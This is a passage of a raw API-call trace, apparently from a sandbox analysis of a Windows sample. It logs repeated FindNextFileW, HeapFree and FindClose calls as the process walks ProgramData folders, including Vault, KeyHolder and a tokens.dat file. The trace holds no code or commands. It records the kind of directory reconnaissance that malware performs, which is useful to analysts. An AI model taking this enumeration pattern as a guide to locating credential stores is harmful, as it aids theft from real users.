cFileName="Scripts", cAlternateFileName="")) returned 1 [0281.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.857] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0281.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.857] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0281.857] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0282.144] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.144] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0282.145] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.145] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Vault", cAlternateFileName="")) returned 1 [0282.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.146] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 0 [0282.146] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0282.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.146] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WDF", cAlternateFileName="")) returned 1 [0282.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.146] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 1 [0282.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.147] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4e338, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadc9b08d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xadc74e2f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4317, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxProvisioning.xml", cAlternateFileName="APPXPR~1.XML")) returned 1 [0282.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.147] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5f8e6a3f, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6b7c9043, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClipSVC", cAlternateFileName="")) returned 1 [0282.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.153] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7457cd, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x1302615f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1302615f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 0 [0282.153] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0282.154] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.154] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2032263, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GenuineTicket", cAlternateFileName="GENUIN~1")) returned 1 [0282.154] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.154] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f6ef001, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Import", cAlternateFileName="")) returned 1 [0282.155] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.155] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InApp", cAlternateFileName="")) returned 0 [0282.155] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0282.155] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.155] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f20423e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Install", cAlternateFileName="")) returned 1 [0282.155] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.155] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0282.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.156] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KeyHolder", cAlternateFileName="KEYHOL~1")) returned 1 [0282.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.156] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f20423e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6f7fa098, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f7fa098, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0282.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.156] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f20423e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6f7fa098, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f7fa098, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 0 [0282.156] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0282.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.157] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b51a174, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5f90cd16, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6b7c9043, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdc870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0282.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.157] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x33cd51d6, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0x33cd51d6, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataCache", cAlternateFileName="DEVICE~2")) returned 1 [0282.158] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.158] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloads", cAlternateFileName="DOWNLO~1")) returned 0 [0282.158] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0282.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.159] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dmrccache", cAlternateFileName="DMRCCA~1")) returned 0 [0282.159] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0282.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.159] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2129d74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1 [0282.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.162] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a24b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8fdd8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0282.162] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0282.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.162] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0282.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.163] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LfSvc", cAlternateFileName="")) returned 1 [0282.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.163] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c481, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackagedEventProviders", cAlternateFileName="PACKAG~1")) returned 1 [0282.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.163] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c80e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parental Controls", cAlternateFileName="PARENT~1")) returned 1 [0282.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.163] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212cd78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="settings", cAlternateFileName="")) returned 0 [0282.163] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0282.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.164] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1516f86b, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x1516f86b, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1 [0282.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.164] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc21e5ea3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0282.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.164] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedcf5f61, ftCreationTime.dwHighDateTime=0x1d336d9, ftLastAccessTime.dwLowDateTime=0xeeb42f5b, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xeeb42f5b, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SleepStudy", cAlternateFileName="SLEEPS~1")) returned 1 [0282.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.165] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sqm", cAlternateFileName="")) returned 1 [0282.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.166] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sessions", cAlternateFileName="")) returned 1 [0282.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.166] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Upload", cAlternateFileName="")) returned 1 [0282.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.166] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Upload", cAlternateFileName="")) returned 0 [0282.166] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0282.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.166] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0282.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.167] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, 